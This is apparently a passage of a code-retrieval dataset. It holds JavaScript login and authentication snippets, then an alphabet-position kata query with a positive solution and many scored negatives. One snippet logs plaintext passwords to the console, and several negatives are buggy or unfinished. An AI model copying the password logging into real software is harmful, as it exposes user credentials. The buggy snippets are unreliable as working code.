{\n\t\t\t\t\t'Accept': 'application/json',\n\t\t\t\t\t'Content-Type': 'application/json'\n\t\t\t\t},\n credentials: 'include'\n\t\t\t});\n\n\t\t\tlet result = await res.json(); // The result from res variable\n\n\t\t\t// If user is successfully logged in\n\t\t\tif (result && result.success) {\n\t\t\t\tUserStore.loading = false;\n\t\t\t\tUserStore.isLoggedIn = true;\n\t\t\t\tUserStore.email = result.email;\n UserStore.fname = result.fname;\n UserStore.lname = result.lname;\n\t\t\t} else {\n\t\t\t\tUserStore.loading = false;\n\t\t\t\tUserStore.isLoggedIn = false;\n\t\t\t}\n\t\t} catch(e) {\n\t\t\tUserStore.loading = false;\n\t\t\tUserStore.isLoggedIn = false;\n\t\t}\n\t}", "title": "" }, { "docid": "8e50c074fa661e2c0a1ac032eb5835dc", "score": "0.5066048", "text": "function receivedAuthentication(event) {\n\tvar senderID = event.sender.id;\n\tvar recipientID = event.recipient.id;\n\tvar timeOfAuth = event.timestamp;\n\n\t// The 'ref' field is set in the 'Send to Messenger' plugin, in the 'data-ref'\n\t// The developer can set this to an arbitrary value to associate the \n\t// authentication callback with the 'Send to Messenger' click event. This is\n\t// a way to do account linking when the user clicks the 'Send to Messenger' \n\t// plugin.\n\tvar passThroughParam = event.optin.ref;\n\n\tconsole.log(\"c21-Received authentication for user %d and page %d with pass \" +\n\t\t\"through param '%s' at %d\", senderID, recipientID, passThroughParam,\n\t\ttimeOfAuth);\n\n\t// When an authentication is received, we'll send a message back to the sender\n\t// to let them know it was successful.\n\tsendTextMessage(senderID, \"Authentication successful\");\n}", "title": "" }, { "docid": "a504a2b5e459f0040f7460602e512146", "score": "0.50643057", "text": "function checkUserLogin(packet){\n let username = packet.username.toLowerCase()\n let password = packet.password\n console.log(\"checking user login \", username, password);\n // check for valid user\n if (!LsUserList.includes(username)) {\n return false\n }\n if (password !== LSUSER[username].password) {\n return false\n }\n // good user and pass\n return true\n\n\n\n}", "title": "" }, { "docid": "a235a06be0959d30a8bd50abab01c41a", "score": "0.50641805", "text": "function AuthenticateService(userService) {\n this.userService = userService;\n }", "title": "" }, { "docid": "47e6e134e78177764ddade1d5ae2f28b", "score": "0.50616866", "text": "function Login() {\n // Build the request url\n let authURL = 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize';\n authURL += `?client_id=${clientId}`;\n authURL += `&response_type=code`;\n authURL += `&response_mode=query`;\n authURL += `&redirect_uri=${encodeURIComponent(redirectURL)}`;\n authURL += `&scope=${encodeURIComponent(scopes.join(' '))}`;\n\n // Launch the web flow to login the user\n // COMPAT: Firefox requires promise, Chrome requires callback.\n if (typeof browser === 'undefined' || !browser) {\n chrome.identity.launchWebAuthFlow({\n 'url': authURL,\n 'interactive': true\n }, ValidateLogin);\n } else {\n browser.identity.launchWebAuthFlow({\n 'url': authURL,\n 'interactive': true\n }).then(ValidateLogin);\n }\n}", "title": "" }, { "docid": "f951ef8eaf1703c0f62709b502a00484", "score": "0.5061549", "text": "function authenticate(req, res, callback) {\n var sessionid = req.cookies.sessionid;\n sessionManager.loadSession(sessionid).then(function(session) {\n if (!session)\n res.sendStatus(403);\n else\n session.populate('user', function(err, session) {\n if (err) throw err;\n\n callback(req, res, session);\n });\n });\n}", "title": "" }, { "docid": "e8ef299f265b2f3762847d7b0abf0bbf", "score": "0.5060831", "text": "function login(successCallback, failureCallback, username, password, region_code) {\n\tsendRequest(\"UserLoginRequest.php\", \n\t\"UserId=\" + username +\n\t\"&initial_app_strings=\" + initial_app_strings +\n\t\"&RegionCode=\" + region_code +\n\t\"&Password=\" + encrypt(password),\n\tloginResponse => {\n\t\t// Get the session id and VIN for future API calls.\n\t\t// Sometimes the results from the API include a VehicleInfoList array, sometimes they omit it!\n\t\tif (loginResponse.VehicleInfoList) {\n\t\t\tsessionid = encodeURIComponent(loginResponse.VehicleInfoList.vehicleInfo[0].custom_sessionid);\n\t\t\tvin = encodeURIComponent(loginResponse.VehicleInfoList.vehicleInfo[0].vin);\n\t\t\ttimeFrom = loginResponse.VehicleInfoList.vehicleInfo[0].UserVehicleBoundTime;\n\t\t} else {\n\t\t\tsessionid = encodeURIComponent(loginResponse.vehicleInfo[0].custom_sessionid);\n\t\t\tvin = encodeURIComponent(loginResponse.vehicleInfo[0].vin);\n\t\t\ttimeFrom = loginResponse.vehicleInfo[0].UserVehicleBoundTime;\t\t\n\t\t}\n\t\tsuccessCallback();\n\t}, \n\tfailureCallback);\n}", "title": "" }, { "docid": "835784101ca94ebec25d06d1232dbe97", "score": "0.5059541", "text": "async function login() {\n if (!session.info.isLoggedIn) {\n await session.login({\n oidcIssuer: SOLID_IDENTITY_PROVIDER,\n clientName: \"Inrupt tutorial client app\",\n redirectUrl: window.location.href\n });\n }\n} // 1b. Login Redirect. Call session.handleIncomingRedirect() function.", "title": "" }, { "docid": "fd7e04c9652e439e8766fc0087c5b9b7", "score": "0.505709", "text": "function loginUser(req, res) {\n // Authenticate whether the request came from a valid client\n sec.authenticateApp(req.get('clientId')).then((resolve) => {\n // Authenticate the user's information\n let username = req.get('username');\n let password = req.get('password');\n\n // Malformed client request\n if (!username || !password) {\n let err = new Error('Login request must contain username and password');\n err.code = constants.BAD_REQUEST;\n throw err;\n }\n // Authenticate the user information\n return User.authenticate(username, password);\n }).then((userDoc) => {\n util.log('User has been authenticated successfully');\n\n // Return the user their tokens\n return res.status(constants.ACCEPTED).json({\n 'message' : 'Successful authentication',\n 'username' : userDoc.username,\n 'accessToken' : userDoc.accessToken,\n 'refreshToken' : userDoc.refreshToken,\n 'isAdmin' : userDoc.isAdmin\n });\n }).catch((err) => {\n // Error while attempting to create a user\n util.log(`Error in loginUser in User Middleware.\\nError Message ${err.message}`);\n return res.status(err.code).json({message : err.message});\n })\n}", "title": "" } ]
90d728be8be410751b21cf81f14ebca0
Q. Replace With Alphabet Position ( You are required to, given a string, replace every letter with its position in the alphabet. If anything in the text isn't a letter, ignore it and don't return it. Example 1: "a" = 1, "b" = 2, etc. Example 2: "The sunset sets at twelve o' clock." = 20 8 5 19 21 14 19 5 20 19 5 20 19 1 20 20 23 5 12 22 5 15 3 12 15 3 11 Solution 1
[ { "docid": "ff0673c318e9695930acaf3f00ff3979", "score": "0.6863487", "text": "function alphabetPosition(text) {\r\n var result = \"\";\r\n\r\n for (var i = 0; i < text.length; i++) {\r\n var letterNumber = text.toUpperCase().charCodeAt(i);\r\n\r\n if (letterNumber > 64 && letterNumber < 91) result += (letterNumber - 64) + \" \";\r\n }\r\n\r\n return result.slice(0, result.length-1);\r\n}", "title": "" } ]
[ { "docid": "fd7fc7686a7474593bc2785d70ff45e1", "score": "0.7565079", "text": "function alphabetPosition(text) {\n let replacePosition = \"\";\n let newPhrase = \"\";\n const phrase=text.split(\"\")\n // console.log(phrase)\n for(let i= 0; i<phrase.length ; i++){\n replacePosition = searchletter(phrase[i].toLowerCase());\n if (replacePosition != undefined) newPhrase += replacePosition + \" \";\n \n }\n console.log(newPhrase.toString());\n return newPhrase.trim(); // to remove white spaces\n }", "title": "" }, { "docid": "4d4e47334df25569e494cdf4c6861b45", "score": "0.7471968", "text": "function alphabetPosition(text) {\n text = text.toLowerCase().replace(/ /g, '').split('').join(' ')\n\n var position = [];\n var alphabet = \"abcdefghijklmnopqrstuvwxyz\".split('');\n var numbers = \"1234567890\".split('')\n\n numbers.forEach((element, index) => {\n text = text.replace(new RegExp(element, 'g'), ' ')\n })\n\n alphabet.forEach((element, index) => {\n position[index] = index + 1\n text = text.replace(new RegExp(element, 'g'), position[index])\n })\n\n text = text.normalize('NFD').replace(/([\\u0300-\\u036f]|[^0-9a-zA-Z])/g, ' ');\n text = text.replace(/ /g, '')\n\n return text.trim() == '' ? '' : text\n}", "title": "" }, { "docid": "e869f61ce358a92859f35daf2237d820", "score": "0.72036433", "text": "function letterChanges(str) {\n // const dictionary = {\n // 'a': 'b',\n // 'b': 'c',\n // 'c': 'd',\n // 'd': 'e',\n // 'e': 'f',\n // 'f': 'g',\n // 'g': 'h',\n // 'h': 'i',\n // 'i': 'j',\n // 'j': 'k',\n // 'k': 'l',\n // 'l': 'm',\n // 'm': 'n',\n // 'n': 'o',\n // 'o': 'p',\n // 'p': 'q',\n // 'q': 'r',\n // 'r': 's',\n // 's': 't',\n // 't': 'u',\n // 'u': 'v',\n // 'v': 'w',\n // 'w': 'x',\n // 'x': 'y',\n // 'y': 'z',\n // 'z': 'a',\n // ' ': ' '\n // };\n //\n // const vowelsList = ['a', 'e', 'i', 'o', 'u']\n //\n // return str\n // .toLowerCase()\n // .split('')\n // .map(char => vowelsList.includes(dictionary[char]) ? dictionary[char].toUpperCase() : dictionary[char])\n // .join('');\n\n\n ///////////////////////////////////////////////\n\n\n // i means case insensitive.\n //\n // The replace() method returns a new string with some or all matches of a pattern replaced by a replacement.\n // The pattern can be a string or a RegExp. If pattern is a string, only the first occurrence will be replaced.\n // var newStr = str.replace(regexp|substr, newSubstr|function)\n let newStr = str.toLowerCase().replace(/[a-z]/gi, char => {\n if (char === 'z') {\n return 'a';\n } else {\n // I think it should be char.charCodeAt(0)\n return String.fromCharCode(char.charCodeAt(0) + 1);\n }\n });\n\n newStr = newStr.replace(/a|e|i|o|u/gi, vowel => vowel.toUpperCase());\n\n return newStr;\n\n}", "title": "" }, { "docid": "a184e6868f29185f92c036d8879ed280", "score": "0.7190928", "text": "function alphabetPosition(text) {\n const lettersArr = text.toLowerCase().match(/[a-z]/g);\n \n if (lettersArr === null) {\n return '';\n }\n \n return lettersArr\n .map(item => item.charCodeAt() - 'a'.charCodeAt() + 1)\n .join(' ');\n}", "title": "" }, { "docid": "3700ee3e539dfae8d4fb75977c4c208f", "score": "0.7100809", "text": "function alphabetPosition(text) {\n const alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n return Array.from(text).reduce((acc, v) => {\n const temp = alphabet.indexOf(v.toLowerCase());\n return temp !== -1\n ? acc + \" \" + (temp + 1)\n : acc;\n }, '').substring(1);\n}", "title": "" }, { "docid": "39571f51852b82473e1c53dd4245d3c6", "score": "0.7022699", "text": "function alphabetPosition(text) {\n const filteredText = [...text].filter(letter => letter.match(/[a-z]/i))\n return filteredText.map(letter => {\n if (letter.match(/[a-z]/i) && letter.trim())\n return letter.toLowerCase().charCodeAt(0) - 96\n }).join(' ')\n}", "title": "" }, { "docid": "805b10cf7e9bec02d29d18b7da5974b3", "score": "0.7015129", "text": "function alphabetPosition(text) {\n return text.toLowerCase().split('')\n .filter( c => c >= 'a' & c <= 'z' )\n .map( c => c.charCodeAt(0) - 'a'.charCodeAt(0) + 1)\n .join(' ');\n }", "title": "" }, { "docid": "f5a5f7ee3e0db4a3b637d0c242e6a322", "score": "0.69982433", "text": "function NextAlphabetLetterReplace(myString) {\n var myArray = myString.split(\"\");\n for (var i = 0; i < myArray.length; i++) {\n if (myArray[i].toLowerCase() != myArray[i].toUpperCase()) {\n if (myArray[i] == \"z\") myArray[i] = \"a\";\n continue;\n if (myArray[i] == \"Z\") myArray[i] = \"A\";\n continue;\n myArray[i] = String.fromCharCode(myArray[i].charCodeAt() + 1);\n }\n }\n return myArray.join(\"\");\n}", "title": "" }, { "docid": "025761a1572850027a9506245c17173f", "score": "0.6985774", "text": "function changer(str) {\n let alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];\n let letterArr = str.toLowerCase().split('');\n let newWordArr = [];\n\n for(var i = 0; i < letterArr.length; i++){\n if(alphabet[alphabet.indexOf(letterArr[i])] && alphabet.indexOf(letterArr[i]) <= 24) {\n newWordArr.push(alphabet[alphabet.indexOf(letterArr[i]) + 1]);\n } else if (letterArr[i] == 'z') {\n newWordArr.push('a');\n } else {\n newWordArr.push(letterArr[i]);\n }\n }\n\n let solutionArr = newWordArr.map(letter => letter.match(/[aeiou]/) ? letter.toUpperCase() : letter.toLowerCase())\n return solutionArr.join('');\n}", "title": "" }, { "docid": "7fb2676820c7189eda6eebacc9671fa6", "score": "0.6948951", "text": "function NextAlphabetLetterReplace(myString) {\n var myArray = myString.split(\"\");\n for (var i = 0; i < myArray.length; i++) {\n if (myArray[i].toLowerCase() != myArray[i].toUpperCase()) {\n if (myArray[i] == \"z\") myArray[i] = \"a\";\n else if (myArray[i] == \"Z\") myArray[i] = \"A\";\n else myArray[i] = String.fromCharCode(myArray[i].charCodeAt() + 1);\n }\n }\n return myArray.join(\"\");\n }", "title": "" }, { "docid": "22952e0de39d238efc4279e00abc087e", "score": "0.69298434", "text": "function LetterChanges(str) {\n // split to char array and iterate\n // if the char array [i] != (a, e, i, o, u) - replace with char(charcode +1)\n // else - char = char.toUpperCase;\n let chars1 = [];\n //console.log(chars);\n for (var i = 0; i < str.length; i++) {\n let cur = str.charAt(i);\n if (cur === 'a' || cur === 'e' || cur === 'i' || cur === 'o' || cur === 'u') {\n chars1[i] = cur.toUpperCase();\n } else {\n // get the current code for the character\n // replace it with character that is hiher than its code by one\\\n //cur = 'b'\n if (cur === 'z') {\n chars1[i] = 'a';\n } else {\n chars1[i] = String.fromCharCode(str.charCodeAt(i) + 1);// get a charcode of current element);\n }\n }\n }\n\n return chars1.join(\"\");\n\n}", "title": "" }, { "docid": "473bd6c7c1466bce14521fb18850555c", "score": "0.6925639", "text": "function alphabetPosition(text) {\n return text\n .replace(/[^A-Za-z]/g, '')\n .split(\"\")\n .map((char) => {\n return char.toLowerCase().charCodeAt(0)-96 \n })\n .join(\" \")\n}", "title": "" }, { "docid": "e3b95e0c765176ad8f562cd98df0c1e9", "score": "0.69047934", "text": "function alphabetPosition(text) {\n text = text.toLowerCase().split('');\n\n let alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'],\n lettersOnly = text.filter(char => char.match(/[a-z]/)),\n solution = [];\n\n for(var i = 0; i < lettersOnly.length; i++){\n solution.push(alphabet.indexOf(lettersOnly[i])+1);\n }\n\n return solution.join(' ');\n}", "title": "" }, { "docid": "a5996318ea0ca819ddd6a09a62d1076b", "score": "0.69021183", "text": "function alphabetPosition(text) {\r\n var result = \"\";\r\n var capLetter = text.toUpperCase();\r\n \r\n for(var i = 0; i < capLetter.length; i++){\r\n var letterNum = capLetter.charCodeAt(i);\r\n \r\n if(letterNum > 64 && letterNum < 91)\r\n result += (letterNum - 64) + \" \";\r\n }\r\n \r\n return result.slice(0, result.length - 1);\r\n}", "title": "" }, { "docid": "b5cf0123a0c159cc8ea512a8adb07e02", "score": "0.6896748", "text": "function alphabetPosition(text) {\n return text.split('') //separa os números.\n .map(char => char.toLowerCase().charCodeAt(0) - 96) //Vai na lista dos ACII para descobrir quantos números precisa diminuir antes das letras minúsculas.\n .filter(char => char > 0 && char < 27) //depois de diminuir, o \"a\" virou o 1, então você só quer do 1 até o 26 que é o \"z\".\n .join(' ') //transforma em string, e junta separando os números.\n}", "title": "" }, { "docid": "e2da79c91c946324b86567390ad5d0f0", "score": "0.6886331", "text": "function alphabetPosition(text) {\n let result = \"\";\n for (let i = 0; i < text.length; i++) {\n let code = text.toUpperCase().charCodeAt(i)\n if (code > 64 && code < 91) result += (code - 64) + \" \";\n }\n return result.slice(0, result.length - 1);\n}", "title": "" }, { "docid": "42eb53d0801055ae8066617289da6a8a", "score": "0.68760824", "text": "function letterChanges(str) {\n var alphabet = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"];\n var vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"];\n var splitArray = str.toLowerCase().split(\"\");\n var newArray = [];\n for (var i = 0; i < splitArray.length; i++) {\n for (var k = 0; k < alphabet.length; k++) {\n if (splitArray[i] === alphabet[k] && alphabet[k] === alphabet[alphabet.length - 1]) {\n newArray.push(alphabet[0]);\n break;\n }\n else if (splitArray[i] === alphabet[k]) {\n newArray.push(alphabet[k+1]);\n break;\n }\n else if (splitArray[i] === \" \") {\n newArray.push(splitArray[i]);\n break;\n }\n }\n }\n for (var j = 0; j < newArray.length; j++) {\n if (vowels.indexOf(newArray[j]) !== -1) {\n newArray[j] = newArray[j].toUpperCase();\n }\n }\n\n return(newArray.join(\"\"));\n}", "title": "" }, { "docid": "a44c8df3acc318ff45124a54c7cf777a", "score": "0.68662983", "text": "function myLetterChanges(str) {\r\n const basicArr = str.replace(/[^\\w]/g, \" \").toLowerCase().split(\"\")\r\n\r\n const newCharCodesArr = basicArr.map((letter) => {\r\n if (letter === \"z\") {\r\n return 97\r\n } else if (letter !== \" \") {\r\n return letter.charCodeAt() + 1\r\n }\r\n })\r\n\r\n const finalLettersArr = newCharCodesArr.map((char) => {\r\n const letter = String.fromCharCode(char)\r\n return letter.match(/[aeiou]/gi) ? letter.toUpperCase() : letter\r\n })\r\n\r\n return finalLettersArr.join(\"\")\r\n}", "title": "" }, { "docid": "0b8fd8aca63579f1a15cdbb6b5ae1d44", "score": "0.6862567", "text": "function alphabetPosition(input){\n let abc =\"abcdefghijklmnopqrstuvwxyz\";\n let inputLength = 0;\n\n let output =[];\n \n input = input.toLowerCase();\n\n while(input[inputLength]!=undefined){ \n inputLength ++;\n }\n \n for(let inputCurrentPosition = 0; inputCurrentPosition < inputLength; inputCurrentPosition++){\n \n for(let i = 0; i < 26; i++){\n if(input[inputCurrentPosition] === abc[i]){ \n output[inputCurrentPosition] = i+1; /* adding one because abc char position begins at zero */\n } \n }\n\n }\n\n for(let i = 0; i < inputLength; i++){\n if(!output[i] > 0){\n output[i] = \"\";\n }\n }\n\n output = output.join(\" \");\n let string = output + \"\";\n return string;\n}", "title": "" }, { "docid": "130e70402f668752777de59dc9713d30", "score": "0.6859774", "text": "function alphabetPosition(text) {\n const arr = text.toLowerCase().match(/[a-z]/g);\n return arr ? arr.map((char) => char.charCodeAt() - 96).join(' ') : '';\n}", "title": "" }, { "docid": "ed867541e63ba3b6781b1e25f9109e6a", "score": "0.68506926", "text": "function alphabetPosition(text) {\n var result = \"\";\n for (var i = 0; i < text.length; i++){\n var code = text.toUpperCase().charCodeAt(i)\n if (code > 64 && code < 91) result += (code - 64) + \" \";\n }\n\n return result.slice(0, result.length-1);\n}", "title": "" }, { "docid": "b490d83d53be00843594159e91fbaead", "score": "0.68336093", "text": "function alphabetPosition(text) {\n // codes goes here\n}", "title": "" }, { "docid": "dac3984f32f78d2c2ffd4758fd9b6abc", "score": "0.6832572", "text": "function LetterChanges(str) {\n //Set up my variables, trim the whitespace in the string and convert the string to lower case.\n str = str.trim().toLowerCase();\n var len = str.length;\n var newStr = '';\n \n //Itterate throuth the letters using a for loop.\n for (var i = 0; i < len; i++) {\n\n //Found character code index and tested for matches in the string.\n if (/[a-ce-gi-mo-su-y]/.test(str[i])) {\n newStr += String.fromCharCode(((str[i].charCodeAt(0) - 18) % 26) + 97) \n }\n else if (/[zdhnt]/.test(str[i])) {\n newStr += String.fromCharCode(((str[i].charCodeAt(0) - 18) % 26) + 65);\n }\n else {\n newStr += str[i]; \n }\n }\n return newStr; \n \n }", "title": "" }, { "docid": "6eb4e6c745f0ea804db98a0bec7bf7a4", "score": "0.68319994", "text": "function alphabetPosition(text) {\n\tconst alphabets = 'abcdefghijklmnopqrstuvwxyz';\n\tconst textArr = text.toLowerCase().split(\" \").join(\"\").split(\"\");\n\tconst result = [];\n\n\ttextArr.forEach((elm,i) => {\n\t\t\tif (isValidLetter(elm)) {\n\t\t\t\t\tresult.push(alphabets.indexOf(elm) + 1)\n\t\t\t}\n\t})\n\n\treturn result.join(\" \")\n}", "title": "" }, { "docid": "c7831e165d7091a93fa59c9cc230246e", "score": "0.68176234", "text": "function alphabetPosition(text) {\n const alpha = 'abcdefghijklmnopqrstuvwxyz'.split('')\n text = text.toLowerCase().split('')\n let answer = []\n for (let i=0; i<text.length; i++) {\n for (let j=0; j<alpha.length; j++) {\n if (text[i] == alpha[j]) {\n answer.push(j+1)\n }\n }\n }\n return (answer.join(' '))\n }", "title": "" }, { "docid": "593d3fb5c7d7c9f3d9c4d7c16fc59657", "score": "0.67935264", "text": "function alphabetPosition(text) {\n let newArray = []\n text.split(\"\").map(letter => {\n let num = letter.toLowerCase().charCodeAt(0)\n if (num >=97 && num <= 122){\n newArray.push(num-96)\n }\n })\n return newArray.join(\" \")\n}", "title": "" }, { "docid": "bb4f76fbe9b71add8c6fb13de9a39980", "score": "0.6788881", "text": "function alphabetPosition(text) {\r\n return text\r\n .toUpperCase()\r\n .split('')\r\n .map(a => a.charCodeAt() - 64)\r\n .filter(a => a > 0 && a < 27)\r\n .join(' ');\r\n}", "title": "" }, { "docid": "062b82eee8cfb4d0210ad9cb66c3fc92", "score": "0.67772603", "text": "function letterChanges(str){\n\n let arr = str.trim().toLowerCase().split(\"\");\n \n for (let i = 0; i < arr.length; i++){\n if (arr[i] >= 'a' && arr[i] <= 'y'){\n arr[i] = arr[i].charCodeAt() + 1;\n }\n else\n continue;\n }\n return arr.join(\"\");\n \n}", "title": "" }, { "docid": "bfc95fcef3044d843d600a8e590eb8c7", "score": "0.6714582", "text": "function getReplace(index, letter) //calling the letter\n{\n let scr = screen.textContent;\n let temp = scr.substr(0, index) + letter + scr.substr(index + 1); //calling the string from 0 to the index to replace the found letter\n screen.textContent = temp; //the screen content will become what's in the temp variable\n}", "title": "" }, { "docid": "07c69a52916f01ee037e92ebafe9c08b", "score": "0.66994786", "text": "function letterChanges(text) {\n let str = text.split('');\n for (let i = 0; i < str.length; i++) {\n switch (str[i]) {\n case ' ':\n break;\n case 'z':\n str[i] = 'a';\n break;\n case 'Z':\n str[i] = 'A';\n break;\n default:\n str[i] = String.fromCharCode(str[i].charCodeAt(0) + 1);\n }\n \n switch (str[i]) {\n case 'a': case 'e': case 'i': case 'o': case 'u':\n str[i] = str[i].toUpperCase();\n }\n }\n return str.join('');\n}", "title": "" }, { "docid": "4483c96425089d89decbc8884016a84a", "score": "0.6666057", "text": "function alphabetPosition(text) {\n let inputArray = text.split('')\n let alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\n inpuyArray.map((ele) => {\n if (ele = ' '){\n \n }\n })\n return text;\n }", "title": "" }, { "docid": "284474c274a07a6fb60f26946289f60f", "score": "0.6663265", "text": "function substitution(input, alphabet, encode = true) {\n let result= \"\"\n if(!alphabet||alphabet.length!=26){\n return false\n \n }\n let letter = {\n \n }\n for(i=0;i<alphabet.length;i++){\n const char= alphabet[i]\n if(letter[char]){\n return false\n }\n letter[char]=true\n }\n for(i=0;i<input.length;i++){\n \n let char= input.charCodeAt(i)\n if(input[i]==\" \"){\n result+=\" \"\n continue\n }\n if(encode){\n let index=char-97\n char= alphabet[index]\n \n }else{\n let index=alphabet.split(\"\").findIndex(a=>a==input[i])\n char=String.fromCharCode(97+index)\n \n }\n result+=char\n \n \n }\n return result\n // your solution code here\n }", "title": "" }, { "docid": "9f13262028ef95f98d4b43683d7cfe52", "score": "0.6661596", "text": "function alphabetPosition(text) {\n return text\n .toUpperCase()\n .match(/[a-z]/gi)\n .map( (c) => c.charCodeAt() - 64)\n .join(' ');\n}", "title": "" }, { "docid": "376a9689a23c205985ceb77bd9ceef12", "score": "0.66578525", "text": "function replaceLetter(str) {\n var newString = '';\n for (var i = 0; i < str.length; i++) {\n if (96 < str.charCodeAt(i) && str.charCodeAt(i) < 123) {\n newString += String.fromCharCode(str.charCodeAt(i) + 1);\n }\n }\n return newString;\n}", "title": "" }, { "docid": "d49f07238f057c019b82f375c4881a1d", "score": "0.6650115", "text": "function alphabetPosition(text) {\n return text\n .toUpperCase()\n .match(/[a-z]/gi)\n .map((character) => character.charCodeAt() - 64)\n .join(' ');\n}", "title": "" }, { "docid": "ec5cfb8f07b63f00d0c9aaf369a3bb28", "score": "0.6640864", "text": "function alphabetPosition(text) {\n const alphabet = \"abcdefghijklmnopqrstuvwxyz\";\n let splitedAlphabet = alphabet.split(\"\");\n let lowerText = text.toLowerCase();\n let resArr = [];\n \n for (let i = 0; i < lowerText.length; i++) {\n for (let q = 0; q < splitedAlphabet.length; q++) {\n if (lowerText[i] === splitedAlphabet[q]) {\n resArr.push(q + 1);\n }\n }\n }\n return resArr.join(' ');\n }", "title": "" }, { "docid": "c2c0c383ef61bd02aab7231ba8060993", "score": "0.66285765", "text": "function letterReplace(charGuess, wordPicker, wordAstrix){\n let counter = false;\n let tempChar = '';\n\n //function to replace char and return a new string\n String.prototype.replaceAt = function(index, replacement) {\n return this.substr(0, index) + replacement + this.substr(index + replacement.length);\n }\n\n for (let i = 0; i <= (wordPicker.length); i++ ){\n tempChar = wordPicker.charAt(i);\n\n if (charGuess == tempChar.toLowerCase()){\n charGuess = wordPicker.charAt(i);\n wordAstrix = wordAstrix.replaceAt(i,charGuess);\n counter = true;\n }\n }\n\n let returnTempArr = [wordAstrix, counter];\n console.log(wordAstrix);\n return returnTempArr;\n }", "title": "" }, { "docid": "99945861d22260b7d998eff311fb8cac", "score": "0.6612626", "text": "function substitution(input, alphabet, encode = true) {\n // your solution code here\n if(!alphabet || alphabet.length != 26) return false;\n const table = alphabet.toLowerCase();\n let result = \"\";\n let count = {};\n input = input.toLowerCase();\n for(let i = 0; i < alphabet.length; i++){\n if(count[alphabet[i]]){\n return false;\n }\n count[alphabet[i]] = true;\n }\n console.log(input, table);\n \n if(encode === false){\n for(let i = 0; i < input.length; i++){\n if(input[i]=== ' '){\n result += ' ';\n continue;\n }\n const letter = table.split(\"\").findIndex(c=> c == input[i]);\n console.log(letter);\n result += String.fromCharCode(letter + 97);\n }\n return result; \n }\n for(let i = 0; i < input.length; i++){\n const letter = input.charCodeAt(i) - 97;\n if(input[i]=== ' '){\n result += ' ';\n continue;\n }\n result += alphabet[letter];\n }\n return result;\n }", "title": "" }, { "docid": "857770b09da8dd6bb1786b38b5e178c1", "score": "0.6603105", "text": "function nextLetter(string) {\n let newString = '';\n //create a loop to cycle through each item(letter)\n for (var i = 0; i < string.length; i++) {\n // the uppercase alphabets code is between 90 and 65 and lowercase is 97 to 122 so you want to make sure that is is between those so this checks for that\n // but the unicode after z is a symbol so this will take the code for z and redirect it to a\n if (122 === string.charCodeAt(i)) {\n newString += string.fromCharCode(97);\n } else if (90 === string.charCodeAt(i)) {\n newString += string.fromCharCode(65);\n } else if (65 < string.charCodeAt(i) && string.charCodeAt(i) < 90) {\n // so I dont want to use replace since it will replace each instance of a letter everytime you come to it so say you used abc\n // it would replace a with b and the b with c but it will replace the letter before it as well so it goes abc to bbc to ccc\n // to ddd which is not what we want here dont need the [i] part for this problem, so instead we want to create a new string\n // String.fromCharCode returns a string based on the letter code\n // will need to add 1 onto the charCodeAt element to get the next letter\n newString += String.fromCharCode(string.charCodeAt(i) + 1);\n } else if (97 < string.charCodeAt(i) && string.charCodeAt(i) < 121) {\n newString += String.fromCharCode(string.charCodeAt(i) + 1);\n }\n }\n return newString;\n}", "title": "" }, { "docid": "aeabbc5ac924a5a675f3b9bcaa6d1db6", "score": "0.65962833", "text": "function alphabet_position(text) {\n\tvar alphabet = [ ...\"abcdefghijklmnopqrstuvwxyz\" ]\n\tvar alphaArr = getAlphaArr(text.toLowerCase());\n\treturn alphaArr.map(ele => alphabet.indexOf(ele) + 1);\n}", "title": "" }, { "docid": "93a40710d2aa3dbd753d46bbd382aeb0", "score": "0.6582599", "text": "function replaceLetterAt(index, character) {\n\t\t\treturn this.substr(0, index) + character + this.substr(index+character.length);\n\t\t }", "title": "" }, { "docid": "90c8b454355f5c6a3f41915a0d2e70de", "score": "0.65607995", "text": "function replaceChar(){\n for (var j=0; j<indices.length; j++){\n blankWord = setCharAt(blankWord,indices[j],userLetter);\n console.log(blankWord);\n }\n}", "title": "" }, { "docid": "921a79425ab6a9d0c489df2437be7fb5", "score": "0.652853", "text": "function alterAt ( index, letter, originalString ) {\n return originalString.substr(0,index) + letter + originalString.substr(index+1,originalString.length); \n}", "title": "" }, { "docid": "c40fb12ea91c775b686004ff039acb57", "score": "0.6517645", "text": "function change(string) {\n string = string.toLowerCase();\n return 'abcdefghijklmnopqrstuvwxyz'.split('').map(function (c) { \n return string.indexOf(c) !== -1 ? 1 : 0;\n }).join('');\n}", "title": "" }, { "docid": "c12a3eb5855573e7512159b7ea650291", "score": "0.65153205", "text": "function myReplace(str, before, after) {\n //lets convert the text into array of words\n let arr = text_to_wordsArray(str);\n\n //we'll start iterating thru each item of the array to build the new array 'newarr' from them\n let newarr = arr.map(item => {\n //for current item of arr, lets see if is equal to the word stored in the variable 'before' \n if (item == before) {\n //so it is the word we're looking for\n\n //lets check if the first letter in this word is a capital letter or not\n if (item.charAt(0) == item.charAt(0).toUpperCase()) {\n //so it is a capital letter\n\n //lets replace this word by the word stored in the variable 'after' but using a capital letter as first letter\n item = after.charAt(0).toUpperCase() + after.substring(1);\n }\n else {\n //so it is not a capital letter\n\n //lets replace this word by the word stored in the variable 'after'\n item = after;\n }\n }\n return item;\n })\n return newarr.join(\" \");\n}", "title": "" }, { "docid": "7c5ca6db605e56963ca690fccd4b81fe", "score": "0.650734", "text": "function LetterChanges(str) { \n var key = 1;\n var tmpStr = str.split();\n \n for (var i=0; i<str.length; i++){\n if (IsAlpha(str[i])){\n tmpStr[i] = (ApplyKey(str[i], key));\n if (IsVowel(tmpStr[i])){\n tmpStr[i] = tmpStr[i].toUpperCase();\n }\n }\n else{\n tmpStr[i] = str[i];\n }\n }\ntmpStr = tmpStr.join('');\nreturn tmpStr;\n}", "title": "" }, { "docid": "f70586fd3705266bd254077f57ba0935", "score": 